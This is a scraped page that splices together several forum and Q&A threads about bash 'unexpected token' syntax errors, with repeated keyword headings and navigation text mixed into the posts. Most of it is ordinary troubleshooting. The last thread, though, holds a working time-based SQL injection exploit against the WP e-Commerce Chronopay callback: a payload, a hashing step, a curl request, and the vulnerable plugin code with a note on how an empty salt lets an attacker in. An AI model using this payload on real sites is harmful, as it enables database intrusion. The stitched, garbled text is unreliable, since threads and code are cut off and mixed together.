Bash Array Syntax Error Near Unexpected Token
Contents |
here for a quick overview of the site Help Center Detailed answers to any questions you might have Meta bash syntax error near unexpected token done' Discuss the workings and policies of this site About Us Learn more
Bash Syntax Error Near Unexpected Token Echo'
about Stack Overflow the company Business Learn more about hiring developers or posting ads with us Stack bash syntax error near unexpected token (' ubuntu Overflow Questions Jobs Documentation Tags Users Badges Ask Question x Dismiss Join the Stack Overflow Community Stack Overflow is a community of 4.7 million programmers, just like you, helping
Bash Syntax Error Near Unexpected Token Else'
each other. Join them; it only takes a minute: Sign up Bash array: Unexpected Syntax error [closed] up vote 18 down vote favorite 2 I am writing this simple bash script as follows. #!/bin/bash array=( /home/abc/Downloads/something.bat /home/abc/Downloads/smb.conf ) echo ${array[@]} I expected it to print all the names of the files in the array. But I get bash syntax error near unexpected token fi' this error instead: test.sh: 3: Syntax error: "(" unexpected If I change the declaration of array to array = {/home/abc/Downloads/something.bat /home/abc/Downloads/smb.conf} this error goes away but I still have new errors test.sh: 3: array: not found test.sh: 4: Bad substitution How can I resolve this issue? This is my first time in shell programming so I am unable to fix the issues myself. RESOLVED: I was executing it as sh test.sh but I forgot I had to execute it as bash test.sh arrays bash shell syntax share|improve this question edited Jun 14 '12 at 10:46 Dennis Williamson 167k42235305 asked Jun 14 '12 at 3:17 user1357576 1311211 closed as too localized by Jonathan Leffler, casperOne Jun 14 '12 at 18:58 This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help c
here for a quick overview of the site Help Center Detailed answers to any questions you might have Meta Discuss the workings and policies of this site About Us Learn more
Bash Syntax Error Near Unexpected Token Then'
about Stack Overflow the company Business Learn more about hiring developers or posting ads
Bash Syntax Error Near Unexpected Token Do'
with us Stack Overflow Questions Jobs Documentation Tags Users Badges Ask Question x Dismiss Join the Stack Overflow Community Stack Overflow bash syntax error near unexpected token newline' is a community of 4.7 million programmers, just like you, helping each other. Join them; it only takes a minute: Sign up Syntax error near unexpected token 'fi' up vote 18 down vote favorite 2 http://stackoverflow.com/questions/11026192/bash-array-unexpected-syntax-error I'm trying to write a script that removes all the .jpg's that end in an odd number. This is my code: #!/bin/bash echo "start\n" for f in *.jpg do fname=$(basename "$f") echo "fname is $fname\n" fname="${filename%.*}" echo "fname is $fname\n" if[$((fname % 2)) -eq 1 ] then echo "removing $fname\n" rm $f fi done When I run it it outputs start and then says "syntax error near unexpected token http://stackoverflow.com/questions/20586785/syntax-error-near-unexpected-token-fi 'fi'" When I had then on the line after if it said "syntax error near unexpected token 'then'" How do i fix this? bash share|improve this question asked Dec 14 '13 at 18:33 Calvin Koder 1511210 add a comment| 4 Answers 4 active oldest votes up vote 25 down vote accepted As well as having then on a new line, you also need a space before and after the [, which is a special symbol in BASH. #!/bin/bash echo "start\n" for f in *.jpg do fname=$(basename "$f") echo "fname is $fname\n" fname="${filename%.*}" echo "fname is $fname\n" if [ $((fname % 2)) -eq 1 ] then echo "removing $fname\n" rm "$f" fi done share|improve this answer edited Dec 14 '13 at 19:17 answered Dec 14 '13 at 18:43 jprice 6,81611025 1 Its still giving me "syntax error near unexpected token 'then'" –Calvin Koder Dec 14 '13 at 18:54 The code I've posted runs without any errors on my own systems. I can only recreate the error you're citing by removing the space between the if and the [ character. Make sure all the spaces I've described are in place. –jprice Dec 14 '13 at 18:59 You have forgot to quote "$f" –Aleks-Daniel Jakimenko-A
here for a quick overview of the site Help Center Detailed answers to any questions you might have Meta Discuss the workings and policies of this site About Us Learn more about Stack Overflow the http://unix.stackexchange.com/questions/45781/shell-script-fails-syntax-error-unexpected company Business Learn more about hiring developers or posting ads with us Unix & Linux Questions Tags Users Badges Unanswered Ask Question _ Unix & Linux Stack Exchange is a question and answer site for users of http://www.unix.com/shell-programming-and-scripting/184879-syntax-error-near-unexpected-token.html Linux, FreeBSD and other Un*x-like operating systems. Join them; it only takes a minute: Sign up Here's how it works: Anybody can ask a question Anybody can answer The best answers are voted up and rise to the syntax error top Shell script fails: Syntax error: “(” unexpected up vote 31 down vote favorite 7 I've been working on a script that automates setting up a development environment for Raspberry Pi development (step by step details that work are here). The script is linked in that article but convenience you can find it here also. Now when run this script install and sets up the environment without error but you have to enter your sudo syntax error near password more than once due to sudo's time-out value by default. So I started experimenting by removing all the sudo lines and running the whole script via sudo at the command line like so: kemra102@ubuntuvm:~$ sudo ./pi_dev_env_install.sh This works fine as expected and gets most of the way through until this point: ./pi_dev_env_install: 68: ./pi_dev_env_install.sh: Syntax error: "(" unexpected Now this line worked fine previously when not running the whole script with sudo. There is nothing about this line running as sudo that should stop it working to my knowledge, does anyone have any ideas? bash shell ubuntu shell-script share|improve this question edited Aug 18 '12 at 12:08 Gilles 369k666681119 asked Aug 18 '12 at 11:37 kemra102 4681613 The shebang is really in line 9? Due to Ubuntu's DashAsBinSh affinity I suspect your script is interpreted by dash instead of bash. Try to move the shebang in line 1. –manatwork Aug 18 '12 at 11:45 According to that article calling /bin/bash directly instead of /bin/sh will; correctly use bash instead of dash so that should not be an issue as I understand it. I can still move the shebang of course, but that doesn't really explain as to why it works when you don’t sudo the whole script. –kemra102 Aug 18 '12 at 11:50 add a comment| 5 Ans
Scripting Unix shell scripting - KSH, CSH, SH, BASH, PERL, PHP, SED, AWK and shell scripts and shell scripting languages here. Search Forums Show Threads Show Posts Tag Search Advanced Search Unanswered Threads Find All Thanked Posts Go to Page... linux operating commands and unix operating commands Syntax error near unexpected token `(' Shell Programming and Scripting Thread Tools Search this Thread Display Modes #1 05-02-2012 iiiiiiiiiii Registered User Join Date: May 2012 Last Activity: 2 May 2012, 8:38 AM EDT Posts: 1 Thanks: 0 Thanked 0 Times in 0 Posts Syntax error near unexpected token `(' What do I do here? Code: #!/bin/bash payload=-1 AND 1=IF(21,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)# hash=`echo -n $payload md5sum tr -d 'n' sed 'ss-sg' md5sum tr -d 'n' sed 'ss-sg'` curl --data cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill httpwww.[redacted].comchronopay_callback=true --------------- Vulnerable code --------------- .wp-e-commercewp-shopping-cart.php class WP_eCommerce { function WP_eCommerce() { add_action( 'plugins_loaded', array( $this, 'init' ), 8 ); } function init() { ... $this-load(); ... } function load() { ... wpsc_core_load_gateways(); ... } ... $wpec = new WP_eCommerce(); .wp-e-commercewpsc-corewpsc-functions.php function wpsc_core_load_gateways() { global $nzshpcrt_gateways, $num, $wpsc_gateways,$gateway_checkout_form_fields; $gateway_directory = WPSC_FILE_PATH . 'wpsc-merchants'; $nzshpcrt_merchant_list = wpsc_list_dir( $gateway_directory ); $num = 0; foreach ( $nzshpcrt_merchant_list as $nzshpcrt_merchant ) { if ( stristr( $nzshpcrt_merchant, '.php' ) ) { require( WPSC_FILE_PATH . 'wpsc-merchants' . $nzshpcrt_merchant ); } .wp-e-commercewpsc-merchantschronopay.php function nzshpcrt_chronopay_callback() { ... if(isset($_GET['chronopay_callback']) && ($_GET['chronopay_callback'] == 'true') && ($_POST['cs2'] == 'chronopay')) { $salt = get_option('chronopay_salt'); - this is by default '' and set only if explicitly stated inside Store Settings-Payments-General Settings- Chronopay-Edit-Security Key - problem is that there are more popular payment gateways enlisted (e.g. Google Checkout and PayPal) and if that setting is not explicitly set it wide opens the door to the potential attacker $gen_hash = md5($salt . md5($_POST['cs1'] . $salt)); if($gen_hash == $_POST['cs3']) { ... $sessionid = trim(stripslashes($_POST['cs1'])); $transaction_id = trim(stripslashes($_POST['transaction_id'])); $verification_data['trans_id'] = tri